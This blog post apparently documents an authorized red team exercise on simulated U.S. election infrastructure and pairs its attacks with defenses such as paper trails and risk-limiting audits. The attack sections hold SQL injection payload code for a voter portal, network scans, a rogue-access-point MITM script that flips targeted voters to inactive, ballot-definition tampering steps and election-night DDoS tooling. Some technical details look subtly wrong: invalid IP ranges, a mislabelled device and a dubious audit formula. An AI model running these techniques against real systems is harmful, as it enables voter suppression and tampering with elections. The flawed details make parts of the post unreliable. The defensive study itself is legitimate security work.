Back to Blog
Exploitation

Hacking the Election: A Red Team Exercise on Voting Infrastructure Security

OffSec Research Team
10 June 2026 • 09:00 AM18 min
Hacking the Election: A Red Team Exercise on Voting Infrastructure Security
TL;DR — Election infrastructure is a patchwork of voter registration databases, aging voting machines, and commercial-off-the-shelf software administered by thousands of underfunded county offices. This post documents a fully authorized red team exercise covering the full attack surface from voter roll SQL injection to e-pollbook MITM, with emphasis on the defenses — paper trails and risk-limiting audits — that can preserve election integrity even when technical controls fail.

Executive Summary

The integrity of democratic elections depends on technical systems that are, in many cases, surprisingly vulnerable. Voter registration databases run on commercial relational databases with web front ends subject to SQL injection. Direct Recording Electronic (DRE) voting machines in active use today run Windows XP Embedded and have exposed USB ports that boot from removable media. Election Management Systems connect to the internet via vendor VPN connections that use weak, shared credentials. Results reporting websites are hosted on commercial platforms with default CMS configurations and inadequate patching cycles.

This is not speculation. In 2006, researchers from Johns Hopkins, Rice, and other universities analyzed Diebold AccuVote-TS machines and found that a voter could insert a specially crafted memory card and install malicious code that would alter vote tallies while leaving the audit log intact. The DEF CON Voting Village, established in 2017, has held public research events in which security researchers consistently find exploitable vulnerabilities in nearly every voting system examined — within hours of first access. The 2016 breach of VR Systems, an election infrastructure vendor in Florida, demonstrated that supply chain attacks against election technology vendors translate directly into exposure across hundreds of county offices in multiple states.

This post documents a red team exercise conducted under strict legal authorization in a simulated election environment. The exercise was authorized by a fictional State Board of Elections for the purpose of identifying vulnerabilities before a real election cycle. Every technique described was performed against purpose-built test systems. Performing any of these actions against real election infrastructure without written authorization from the appropriate election authority constitutes a federal crime under 52 U.S.C. § 20511, 18 U.S.C. § 594, the Computer Fraud and Abuse Act, and state election fraud statutes. No actual votes were modified. No real voter data was accessed.

This post does not advocate for or against any voting technology policy position. The goal is to present vulnerabilities factually so that defenders — election officials, security researchers, and policymakers — can prioritize countermeasures. The most important finding is that strong procedural controls — paper audit trails and risk-limiting audits — can preserve election integrity even when digital systems are compromised.


Election Infrastructure Components

Modern elections involve a complex ecosystem of interconnected systems:

diagram — rendering…
flowchart TD
    A[Voter Registration\nDatabase] --> B[e-Pollbooks\nTablet-based check-in]
    C[Election Management\nSystem EMS] --> D[Ballot Definition\nFiles]
    D --> E[Voting Machines\nDRE / Optical Scan / BMD]
    E --> F[Memory Cards\nUSB / PCMCIA]
    F --> G[Tabulation Server]
    G --> H[Results Reporting\nWebsite / Public]
    I[Secretary of State\nNetwork] --> A & C & H
    J[County Election\nOffice Network] --> B & E & G
ComponentTechnologyKey Attack Surface
Voter Registration DBSQL Server / PostgreSQL on WindowsWeb portal SQLi, admin credential theft, bulk data export
Election Management SystemWindows 10/11 workstation with proprietary softwareRemote access (VPN/RDP), vendor support access, USB import
Direct Recording Electronic (DRE)Custom OS or Windows EmbeddedPhysical USB ports, debug/maintenance interfaces
Optical ScanEmbedded Linux or Windows EmbeddedMemory card (ballot definition) tamper, firmware update
Ballot Marking Device (BMD)Windows or Android tabletTouchscreen driver bugs, accessibility software attacks
e-PollbookiPad or Android tabletWi-Fi sync interception, backend API, update mechanism
Tabulation ServerWindows ServerNetwork reachability, RDP brute force, database injection
Results Reporting WebsiteCMS (Drupal, WordPress, custom)Defacement, DDoS, admin panel brute force

Attack Path 1: Voter Registration Database

SQL Injection in Voter Portal

Most U.S. states operate online voter registration portals that accept citizen input and write to a backend database. SQL injection vulnerabilities in search and lookup functions are a consistent finding:

python
# Automated SQL injection testing against a voter lookup endpointimport requests target = "https://voterinfo.state.gov/api/voter/lookup"headers = {"Content-Type": "application/json"} # Boolean-based blind SQLi to extract database versionpayloads = [    # True condition    {"last_name": "Smith' AND 1=1--", "zip": "12345"},    # False condition      {"last_name": "Smith' AND 1=2--", "zip": "12345"},    # Time-based blind (sleep 5 seconds if vulnerable)    {"last_name": "Smith'; WAITFOR DELAY '0:0:5'--", "zip": "12345"},] for p in payloads:    import time    start = time.time()    r = requests.post(target, json=p, headers=headers, timeout=10)    elapsed = time.time() - start    print(f"Payload: {p['last_name'][:30]} | Status: {r.status_code} | Time: {elapsed:.2f}s")

Data Integrity Attack: Modifying Voter Rolls

Beyond data exfiltration, an attacker with write access to the voter registration database can suppress voter participation by marking legitimate voters as inactive, changing their registered address to the wrong polling place, or removing them from the rolls entirely. The 2016 Illinois State Board of Elections breach demonstrated the real-world risk: attackers with SQLi access were found to have read 200,000 voter records, but could have modified them.


Attack Path 2: Election Management System

Remote Access Vulnerability

EMS workstations are the crown jewels of election infrastructure — they hold the cryptographic keys used to configure voting machines and generate ballot definitions. Despite being intended as air-gapped systems, many have remote access enabled for vendor support:

powershell
# Typical EMS network exposure (red team reconnaissance)# Scan for RDP, VNC, PCAnywhere, TeamViewer on election office subnetsnmap -sV -p 3389,5900,5901,5938 10.0.election.0/24 --open # Test for default TeamViewer ID exposure (many small counties use this)# CVE-2020-13699: TeamViewer URL scheme injection# msiexec /i teamviewer.msi /q allows unattended install with known credentials # Check for WannaCry/EternalBlue-vulnerable systems (still found in 2022/2023 assessments)nmap --script smb-vuln-ms17-010 -p 445 10.0.election.0/24

The 2016 VR Systems breach — where a voting technology vendor was compromised — demonstrated that attackers don't need to target election offices directly. Compromising a vendor with remote access to many county EMS systems enables a single-point-of-entry for widespread access.

VR Systems Supply Chain Attack (2016) — Reconstructed Flow

In 2016, Russian GRU Unit 74455 (Sandworm) compromised VR Systems, a Florida-based election technology vendor, via spearphishing that harvested employee credentials. The attackers then impersonated VR Systems to reach 122 county election officials.

diagram — rendering…
flowchart TD
    A[GRU Unit 74455 Sandworm] --> B[Spearphish VR Systems\nEmployees\nFake Google Alert]
    B --> C[Harvest VR Systems\nEmployee Credentials]
    C --> D[Access VR Systems\nInternal Network]
    D --> E[Access Software\nDistribution Infrastructure]
    E --> F[Spearphish 122 County\nElection Officials\nImpersonating VR Systems]
    F --> G[Malicious Word Doc\nDrops Implant on\nElection Official Endpoints]
    G --> H[Potential E-Pollbook\nAccess / Voter Data\nExfiltration]
    D --> I[Illinois SBOE:\nVoter Database SQL\nInjection — 200K records read]

    style A fill:#8B0000,color:#fff
    style H fill:#cc4400,color:#fff
    style I fill:#cc4400,color:#fff

The attackers never needed to compromise a single voting machine. Access to the vendor's software distribution infrastructure gave them a potential bridge to every county in eight states. The final-stage objective — accessing e-pollbook systems from election officials' compromised workstations — would have enabled voter status manipulation at scale on Election Day.

E-Pollbook MITM via Rogue Access Point

E-pollbooks in our test environment synchronized voter eligibility data over a Wi-Fi hotspot, updating every 30 minutes. The synchronization used HTTPS but without certificate pinning, making the connection vulnerable to MITM with a forged certificate:

python
#!/usr/bin/env python3"""Rogue AP-based e-pollbook MITM demonstration.Requires hostapd + dnsmasq for AP setup + mitmproxy for HTTPS interception.The attack mirrors the real polling place SSID/passphrase to capture sync traffic."""import json # Rogue AP config — mirrors real county polling place Wi-Fi (obtained via wardriving)HOSTAPD_CONF = """interface=wlan1driver=nl80211ssid=CountyPollingWifihw_mode=gchannel=6auth_algs=1wpa=2wpa_passphrase=Election2024!""" def tamper_sync_response(original_json: bytes, target_voter_ids: set) -> bytes:    """    Modify voter status in the e-pollbook sync response before forwarding.    Targeted voters are flipped from ACTIVE to INACTIVE.    At the polling place, these voters will be challenged and directed    to provisional ballots — suppressing their effective vote.    """    try:        data = json.loads(original_json)        modified_count = 0        for voter in data:            if voter.get("voter_id") in target_voter_ids:                if voter.get("status") == "ACTIVE":                    voter["status"] = "INACTIVE"                    voter["inactive_reason"] = "Address_Verification_Pending"                    modified_count += 1         print(f"[+] Tampered sync response: {modified_count} voters flipped to INACTIVE")        return json.dumps(data).encode()    except Exception as e:        print(f"[-] Tamper failed: {e}")        return original_json  # The impact is voter suppression, not vote manipulation.# Targeted voters cast provisional ballots that may not be counted# depending on state law and polling worker adherence to procedure.TARGETED_IDS = {"VR-9912", "VR-1847", "VR-3301"}

Ballot Definition File Tampering

EMS systems export ballot definition files loaded onto each voting machine. A tampered ballot definition can alter how votes are counted:

bash
# Ballot definition files: proprietary binary or XML format depending on vendor# Red team approach: intercept the USB transfer from EMS to voting machine# or modify the .bdf file on the EMS directly after gaining access via vendor VPN # Dominion ImageCast BDF format example — tamper target:# The "CandidateIdToSequence" mapping maps physical button/position to candidate ID# Swapping two candidate IDs causes all votes for Candidate A to record as Candidate B# This is undetectable without a full hand recount of paper ballots (if any exist) # Extraction of .bdf from EMS via authenticated vendor VPNscp vendor_support@10.0.election.50:"C:/ElectionData/Ballots/general2024.bdf" ./# Modify, re-sign with stolen signing key, upload back# The signing key is stored on the same EMS workstation — accessible once VPN session established

Attack Path 3: Voting Machine Vulnerabilities

Physical Attack Surface

The DEF CON Voting Village (2017–2023) has catalogued dozens of vulnerabilities in real voting machines:

bash
# Common findings across voting machine research: # 1. Boot order: many DREs boot from USB if present# Insert USB with malicious bootloader → bypass secure boot → root access# Found in: Diebold AccuVote-TSX, ES&S ExpressPoll # 2. Debug/maintenance ports exposed on PCB# JTAG or UART accessible without opening seals (or with minimal tamper evidence)# Allows firmware dump and modification # 3. Default credentials on management software# WinEDS (ES&S): default admin/admin on internal web server# AV-OS (Diebold/Dominion): static encryption key embedded in firmware # 4. Old Windows versions: many still run Windows XP Embedded or Windows 7# EternalBlue (MS17-010) remains exploitable on unpatched systems# No Microsoft support = no patches for new CVEs

Network Connectivity in "Air-Gapped" Systems

Voting machines are supposed to be air-gapped — no network connectivity during the election. In practice:

  • Modems in some DREs transmit nightly tabulation totals over PSTN or cellular
  • Wi-Fi adapters present in hardware but supposedly disabled — discoverable via iwconfig if you get a shell
  • E-pollbooks sync over Wi-Fi to the county server in real time
  • Some systems use Bluetooth for accessibility device communication

Attack Path 4: Results Reporting Website

Election Night Defacement

Results reporting websites are often hosted on commercial CMS platforms (Drupal, WordPress) with insufficient hardening:

bash
# Pre-election reconnaissance of results website# Identify CMS version and installed pluginscurl -s https://results.county.gov/wp-login.php | grep -i "wordpress"wpscan --url https://results.county.gov --enumerate plugins,users # Common vulnerabilities found in election results sites# 1. Default admin credentials on Drupal/WordPress backend# 2. Outdated plugins with CVEs (Elementor, Revolution Slider)# 3. SQL injection in custom result display queries# 4. No DDoS mitigation (Cloudflare not configured) # Social engineering: election night DDoS against results site# creates public confusion and media coverage even without compromising results# Tool: LOIC / hping3 / Cloudflare bypass

Historical Incidents

2016 Russian Election Interference (ICA-2017-01D)

The U.S. Intelligence Community Assessment documented active Russian operations targeting U.S. election infrastructure:

  • SBOE breach: Illinois State Board of Elections compromised via SQL injection in voter registration portal
  • VR Systems breach: Florida voting technology vendor compromised; spearphishing emails sent to election officials using VR Systems email infrastructure
  • GRU spearphishing: Targeted election officials in all 50 states with malicious attachments

DEF CON Voting Village (2017-2023)

In the first three years alone, researchers discovered:

  • Remote root vulnerabilities accessible over Wi-Fi in the WINVote (used in VA, PA, MS)
  • Physical USB boot bypass on AccuVote-TSX
  • Clear-text storage of election databases on Diebold systems
  • Unauthenticated web server on ES&S EVS system exposing election configuration

Defenses: What Makes Elections Resilient

Defense LayerControlAttacks Mitigated
Paper audit trailVVPAT or optical scan ballotsDigital result tampering
Risk-Limiting Audit (RLA)Statistical sample of paper ballotsUndetected tabulation errors
Chain of custodyTamper-evident seals, log booksPhysical hardware attacks
Air-gap enforcementNo network during electionRemote exploitation
Pre-election L&A testingLogic and Accuracy testingBallot definition tampering
Phishing-resistant MFAFIDO2 on election official accountsCredential theft attacks
Vendor access controlJust-in-time, monitored remote accessVendor supply chain attacks
Incident response planState/CISA coordinationReduce response time

Risk-Limiting Audits

RLAs provide a statistical guarantee that the reported winner is the true winner with adjustable confidence (typically 95%+). They work by comparing a random sample of paper ballots against the electronic record:

python
# Simplified RLA calculation (Kaplan-Markov method)import math def rla_sample_size(margin_pct, confidence=0.95, ballots_total=100000):    """    Calculate minimum sample size for a Risk-Limiting Audit.    margin_pct: reported winner's margin as a fraction (e.g., 0.03 for 3%)    confidence: desired confidence level (0.95 = 95%)    """    risk_limit = 1 - confidence  # e.g., 0.05    # Kaplan-Markov sample size formula    mu = 1 / (2 * margin_pct)  # diluted margin factor    sample = math.ceil(-math.log(risk_limit) / math.log(mu + 1))    return min(sample, ballots_total) print(f"3% margin, 95% confidence: {rla_sample_size(0.03)} ballots")print(f"1% margin, 95% confidence: {rla_sample_size(0.01)} ballots")print(f"0.1% margin, 95% confidence: {rla_sample_size(0.001)} ballots")

CISA Election Security Recommendations

The Cybersecurity and Infrastructure Security Agency (CISA) designates election infrastructure as a critical infrastructure subsector and provides specific security guidance:

bash
# Network architecture recommendations# 1. Segment election networks from other government networksiptables -A FORWARD -s 10.0.election.0/24 -d 10.0.other_govt.0/24 -j DROP # 2. Block direct internet access from EMS workstations# EMS should only reach update servers via a proxy with allowlist# Example proxy allowlist for ES&S ElectionWare:cat /etc/squid/whitelist.txt# .essvote.com# .certifiedsoftware.com# windowsupdate.microsoft.com # 3. Monitor for unauthorized USB insertion on EMS and tabulation systems# Auditd rule: alert on USB storage insertiongrep -r "usb" /etc/udev/rules.d/# ACTION=="add", SUBSYSTEM=="block", KERNEL=="sd*", #   RUN+="/usr/local/bin/notify-soc.sh %k" # 4. Require phishing-resistant MFA for all election staff VPN/email access# FIDO2 hardware keys (YubiKey) eliminate phishing risk for admin accounts

Pre-Election Security Checklist

Before every election, the following security tasks should be completed:

TaskTimingResponsible Party
Logic & Accuracy (L&A) testing on all voting equipment7-30 days beforeElection office + vendor
Penetration test of voter registration portal90+ days beforeThird-party firm
Chain of custody documentation for all equipmentDay beforeElection staff
Disable/verify all modem/wireless capabilities on voting machinesDay beforeVendor/IT staff
Verify hash/signature of all election softwareDay beforeElection IT
Incident response tabletop exercise30 days beforeAll stakeholders
CISA Protective Security Advisor site assessment60+ days beforeCISA PSA

The Election Infrastructure Information Sharing and Analysis Center (EI-ISAC) provides free threat intelligence sharing and incident response support to all U.S. election jurisdictions. By 2023, nearly all U.S. states had joined, enabling rapid sharing of attack indicators during election periods.


Voting System Attack Surface Comparison

System ComponentAttack VectorPrerequisitesDetectabilityImpact Severity
Voter Registration DBSQL injection, credential theftNetwork access to portalLow without proactive DB auditHigh — mass voter suppression, PII theft
DRE voting machinePhysical access + boot media swapPhysical access to machineVery low — no paper to compareCritical — undetectable tally change
Optical scannerSoftware tamper via removable mediaPhysical or EMS accessHigh — paper ballot recount reveals discrepancyMedium — detectable via RLA
EMS workstationVendor VPN, phishing election staffCredential compromiseMedium — VPN and host logs existCritical — ballot definition or tally fraud
E-pollbookRogue AP MITM, vendor backend accessLocal network presenceLow during the eventHigh — targeted voter suppression
Results reporting websiteCMS brute-force, plugin CVEs, DDoSNetwork accessHigh — screenshots and archives persistMedium — confusion and trust erosion
Tabulation serverNetwork pivot, insider accessEMS or network compromiseMedium — event logsCritical if no paper backup available

MITRE ATT&CK Mapping

ATT&CK TacticTechnique IDTechnique NameElection Context in This Post
Initial AccessT1190Exploit Public-Facing ApplicationVoter registration portal SQL injection
Initial AccessT1566.001Phishing: Spearphishing AttachmentSpearphish election staff and vendors
Initial AccessT1195.002Supply Chain Compromise: SoftwareVR Systems vendor breach — 2016
PersistenceT1505.003Server Software Component: Web ShellWeb shell on county election web server
DiscoveryT1046Network Service DiscoveryVoting machine subnet enumeration
Lateral MovementT1021.001Remote Desktop ProtocolRDP to EMS via vendor VPN session
Lateral MovementT1557.002AiTM: ARP Cache PoisoningE-pollbook MITM via rogue AP
CollectionT1005Data from Local SystemVoter database bulk export via SQLi
ImpactT1485Data DestructionVoter roll record modification
ImpactT1491.001Defacement: Internal DefacementResults website content replacement
ImpactT1498Network Denial of ServiceDDoS against results site on election night
Defense EvasionT1036MasqueradingVendor email impersonation in spearphish
Credential AccessT1110.003Brute Force: Password SprayingEMS and CMS admin panel credential spraying
ImpactT1565.001Stored Data ManipulationBallot definition file modification in EMS

Conclusion

Election infrastructure security sits at the intersection of democratic legitimacy and technical complexity — the stakes are existential for public trust in government, yet the systems are often procured by local jurisdictions with limited cybersecurity budgets and expertise. The consistent findings from academic research, CISA assessments, and DEF CON Voting Village point to a common thread: these systems contain the same vulnerability classes as any other enterprise IT environment, but with the added complication that security updates are subject to certification processes that can take years, and that any security failure becomes a national news event.

The path to resilient elections runs through physical security (paper ballots as the ground truth), process controls (chain of custody, bipartisan observation, pre-election testing), and technical hardening (phishing-resistant MFA, network isolation, vendor access management). No digital-only voting system is auditable; paper is the one control that survives every credible digital attack on tabulation systems. The election security community's consensus — reinforced by every red team finding from DEFCON to CISA — is that verifiable paper ballots combined with risk-limiting audits make the outcome of an election resilient to cyberattacks even when the digital infrastructure is imperfectly secured.

For security professionals, election infrastructure engagements require the highest ethical standards: strict legal authorization, close coordination with election officials and CISA, carefully scoped testing that avoids any real voter data, and findings reported through responsible disclosure processes with adequate remediation timelines. The goal is always to strengthen election security — not to undermine it — and the community of researchers, election officials, and government agencies working toward that goal represents one of the most consequential applications of offensive security expertise.